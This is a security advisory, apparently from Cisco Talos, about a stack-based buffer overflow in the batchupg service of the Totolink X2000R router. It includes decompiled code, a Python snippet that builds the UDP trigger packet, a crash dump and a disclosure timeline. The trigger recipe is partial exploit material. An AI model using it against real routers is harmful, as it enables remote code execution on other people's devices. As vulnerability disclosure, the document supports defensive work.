Talos Vulnerability Report

TALOS-2026-2434

Totolink X2000R batchupg stack-based buffer overflow vulnerability

October 20, 2026

CVE Number

CVE-2026-10133

Summary

A stack-based buffer overflow vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Confirmed Vulnerable Versions

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327)

Product URLs

X2000R - https://www.totolink.net/home/menu/newstpl/menu_newstpl/products/id/242.html

CVSSv3 Score

9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

Details

The Totolink X2000R is a popular budget gigabit home router primarly found in eastern markets. Supporting IPV6, WPA3, mesh capabilities among other features, the Totolink X2000R is a solid choice for the price point.

The Totolink X2000R mainly relies on the standalone boa binary for all web administration and subsequent configuration. While normally a security risk in itself due to the age, it appears that the version running on the X2000R has been patched. Regardless, for the current set of vulnerabilities we only pay attention to the Totolink-specific issues, so we start from the point where authentication has already occurred via the /boafrm/formLogin webpage, and then we can successfully interact with another /boafrm/form* page, each of which have a corresponding callback. While today’s vulnerability is within a seperate binary entirely, in order to get that binary to run we must examinne the /boafrm/formBuploadSetting form’s corresponding function:

0044d01c    char* formBuploadSetting(struct client* arg1)

0044d03c        char* fw_key = get_from_postbody(cli: arg1, "fw_key", &cgi_var_pref) // [1]
0044d03c        
0044d048        if (sx.d(*fw_key) != 0)
0044d068            inifile_set("/tmp/firware.ini", "firware", "csid", fw_key) // [2]
0044d068        
0044d07c        char* fw_ver = get_from_postbody(cli: arg1, "fw_ver", &cgi_var_pref) // [3]
0044d07c        
0044d088        if (sx.d(*fw_ver) != 0)
0044d0a8            inifile_set("/tmp/firware.ini", "firware", "svn", fw_ver) // [4]
0044d0a8        
0044d0b4        system(string: "killall batchupg >/dev/null 2>&1") 
0044d0c0        system(string: "batchupg & >/dev/null 2>&1")         // [5]
0044d0d4        char* result = get_from_postbody(cli: arg1, "submit-url", &cgi_var_pref)
0044d0d4        
0044d0e0        if (sx.d(*result) == 0)
0044d108            return result
0044d108        
0044d0f8        return send_302_redirect(cli: arg1, redirect-url: result) __tailcall

Thankfully quite short, this function handles a few key aspects: first it reads the fw_key[1] and fw_ver[3] parameters from our input HTTP POST parameters and then writes the csid and svn configuration values to the /tmp/firware.ini file at [2] and [4]. Finally our key batchupg binary gets run at [5], so we jump into analysis therein:

00402c5c    int32_t main(int32_t argc, char** argv, char** envp)
// [...]
00402e74                        
00402e74                        if (pthread_create(&var_38, 0, UnicastReceive, 0) == 0) // [6]
00402f40                            pthread_detach(var_38)
00402f40                        
00402e98                        int32_t var_34
00402e98                        
00402e98                        if (pthread_create(&var_34, 0, PostFileToDevice, 0) == 0)
00402f50                            pthread_detach(var_34)
00402f50                        
00402ea0                        BroadcastReceive()   // [7]
00402ea0                        noreturn
00402ea0                    
00402f30                    perror(str: "bind")
00402f30                
00402f08                printf("[Batch Upgrade:%d]Unicast socket init error!\n", 0x2f8)
00402f08        
00402f20        return 0xffffffff

Alot of socket setup code has been truncated out, but it suffices to say that the program sets up a broadcast udp socket on port 13977 for listening and also a unicast udp socket that can be ignored which is utilized in the UnicastReceive() function [6]. For this vulnerability the broadcast socket is much more important so we look to the BroadcastReceive() function at [7]:

004029f0    void BroadcastReceive() __noreturn

// [...]
00402af8                            if (recvfrom(fd, &msg, len: 0xa000, flags: 0, &srcaddr, &var_a03c) u>= 0x94) // [8]
00402b00                                uint32_t* i = &msg
00402b04                                struct copied copied
00402b04                                uint32_t* x = &copied
00402b04                                
00402b30                                do                        // [9]
00402b10                                    int32_t $a3_1 = i[1] 
00402b14                                    int32_t $a2_1 = i[2]
00402b18                                    int32_t $a1_4 = i[3]
00402b1c                                    *x = *i
00402b20                                    x[1] = $a3_1
00402b24                                    x[2] = $a2_1
00402b28                                    x[3] = $a1_4
00402b2c                                    i = &i[4]
00402b34                                    x = &x[4]
00402b30                                while (i != &msg[0x90])
00402b30                                
00402b3c                                *x = *i
00402b50                                rfd = &readfds

To start, it’s worth just noting that while the program does read in 0xa000 bytes to an appropritately sized stack buffer at [8], only the first 0x90 bytes are copied in the loop at [9] before being looked at further:

00402b4c                                if (copied.magic == 0x26d19a37)   
00402b6c                                    rfd = &readfds
00402b6c                                    
00402b68                                    if (memcmp(s1: &copied.mac, s2: &_00_00_aa_bb_cc_dd, n: 6) != 0)
00402b70                                        int32_t* svn = copied.svn
00402b74                                        uint32_t tftpMode = copied.tftpMode
00402b7c                                        transfer_mode = tftpMode
00402b7c                                        
00402b88                                        if (debug_switch != 0)
00402bb8                                            printf("[%s:%d]csid=%s,tftpMode=%d,svn=%d,fw_csid=%s,fw_svn=%d,\n", "BroadcastReceive", 0x25b, &copied.csid, tftpMode, 
00402bb8                                                svn, &csid, svn)
00402bb8                                        
00402bc8                                        rfd = &readfds
00402bc8                                        
00402bc4                                        if (sx.d(csid) != 0)
00402be0                                            rfd = &readfds
00402be0                                            
00402bdc                                            if (strcmp(str1: &csid, str2: &copied.csid) == 0)
00402be8                                                if (svn == svn)
00402be8                                                    break
00402be8                                                
00402bf4                                                int32_t var_38
00402bf4                                                __builtin_memset(dest: &var_38, ch: 0, count: 0x12)
00402c3c                                                sprintf(dst: &var_38, "%02X:%02X:%02X:%02X:%02X:%02X", zx.d(copied.mac[0]), zx.d(copied.mac[1]), zx.d(copied.mac[2]), 
00402c3c                                                    zx.d(copied.mac[3]), zx.d(copied.mac[4]), zx.d(copied.mac[5]))
00402c4c                                                send_broadcast_resp(&var_38, &copied)  // [10]
00402c58                                                rfd = &readfds 

To save some time, it suffices to say that we want to reach the send_broadcast_resp function at [10], and the following commented python code will generate a buffer that can reach the function:

####################
buf = b""
buf += struct.pack("<I", 0x26d19a37) # magic bytes
buf += struct.pack("<I", 0x1)        # tftp mode
buf += struct.pack("<I", 0x12345678) # svn (just needs to be != fw_ver from above...)  
buf += b"\x11\x22\x33\x44\x55\x66"   # mac addr, needs to be != \x00\x00\xaa\xbb\xcc\xdd               
buf += csid                          # the csid, this needs to match our fw_key HTTP POST param from above
buf += b"\x00"
while len(buf) < 0x94:
    buf += b"A"

With such a buffer generated, we can then look inside send_broadcast_resp to see further processing:

004028cc    int32_t send_broadcast_resp(char* arg1, struct copied* arg2)

004028f8        data_4139d8 = arg2->mac[0].d
00402900        data_4139dc = arg2->mac[4]
00402908        data_4139dd = arg2->mac[5]
0040290c        add_multicast_route()
00402914        sub_401e10()
00402920        add_mac_ip_time(arg1)
00402950        sendto(broadcast_sock, &bcast_resp, 0x120, 0, &data_413ae0, 0x10)
00402974        char var_30[0x20]
00402974        sprintf(dst: &var_30, "%s-%d", &arg2->csid, ror.d(__wsbh(arg2->svn), 0x10))  // [11]
00402988        add_to_upgLog(arg1, &var_30, 0xffffffff)
0040299c        sub_402058(arg1, &var_30, 0xfffffffe)
0040299c        
004029ac        if (transfer_mode != 0)
004029e0            add_cj_item_mac(inet_ntoa(data_4139c4))
004029e0        
004029c8        return 0

We can quickly see that our csid parameter is copied to the stack at [11], resulting in a stack-based buffer overflow and subsequent command execution.

Crash Information

Thread 1 "batchupg" received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

[^_^] SIGSEGV


***********************************************************************************
***********************************************************************************
v0         : 0x00000000                         | s3[X]      : 0x004139de
v1[H]      : 0x00414838                         | s4[S]      : 0x7fbfa8b8
a0[H]      : 0x00414838                         | s5[X]      : 0x0041391c
a1[H]      : 0x00414868                         | s6[L]      : 0x77102464
a2         : 0x00000005                         | s7         : 0x00000002
a3[X]      : 0x00403139                         | t8[X]      : 0x004138ec
t0         : 0x00000000                         | t9[L]      : 0x7718986c
t1         : 0x00000000                         | k0         : 0x00000000
t2[H]      : 0x00414860                         | k1         : 0x00000000
t3         : 0xfffffffc                         | gp         : 0x771a4dd0
t4         : 0x00000040                         | sp[S]      : 0x7fbf0760
t5         : 0x00000001                         | ra         : 0x41414141
t6         : 0x000007a8                         | status     : 0x0000f413
t7         : 0x00410000                         | badvaddr   : 0x41414140
s0         : 0x41414141                         | pc         : 0x41414141
s1         : 0x41414141                         | fcsr       : 0x00000000
s2         : 0x41414141                         | restart    : 0x00000000
***********************************************************************************
Invalid $pc @ 0x41414141
#0  0x41414141 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
***********************************************************************************

Timeline

2026-06-16 - vulndev@cisco.com - Initial Vendor Notification
2026-06-23 - vulndiscovery@external.cisco.com - Follow-up sent
2026-06-25 - fae_hardware@zioncom.net - Vendor Acknowledged
2026-06-25 - vulndiscovery@external.cisco.com - Resent all notifications
2026-07-16 - vulndiscovery@external.cisco.com - Follow-up sent
2026-09-15 - vulndiscovery@external.cisco.com - Follow-up sent

Credit

Lilith Wyatt of Cisco Talos